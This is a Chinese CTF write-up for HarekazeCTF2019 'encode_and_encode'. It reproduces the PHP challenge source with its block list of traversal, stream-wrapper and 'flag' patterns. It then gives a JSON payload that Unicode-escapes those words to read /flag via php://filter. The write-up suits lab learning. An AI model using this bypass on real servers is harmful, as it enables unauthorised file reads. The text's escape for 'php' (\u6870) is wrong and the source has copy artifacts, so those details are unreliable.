[HarekazeCTF2019]encode_and_encode

打开有三个页面,有一个页面有源码。贴出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(0);
 
if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}
 
function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}
 
$body = file_get_contents('php://input');
$json = json_decode($body, true);
 
if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "not foundn"; 
  } 
} else { $content = 'invalid request'';
}
 
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

垃圾编辑器解析html标签,导致我源码都复制了半天

审计后发现,她使用json_decode解析传来的数据,并且把在自定义函数is_valid中过滤后读取文件,而php,flag又被过滤掉了,并且过滤后读出来的文字还要经过最后的过滤才会输出,遍历百度后发现json可以解析Unicode编码的文字,file_get_contents 是可以触发 php://filter 的,所以考虑使用伪协议读取,,用Unicode编码php和flag伪协议读一下就有了

我们试亿下 flag是\u0066\u006c\u0061\u0067    php是\u0070\u6870\u0070

使用后{“page”:”ph\u0070://filter/convert.base64-encode/resource=/fl\u0061g”} post传参后获得flag

 

 

 

 

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

Protected with IP Blacklist CloudIP Blacklist Cloud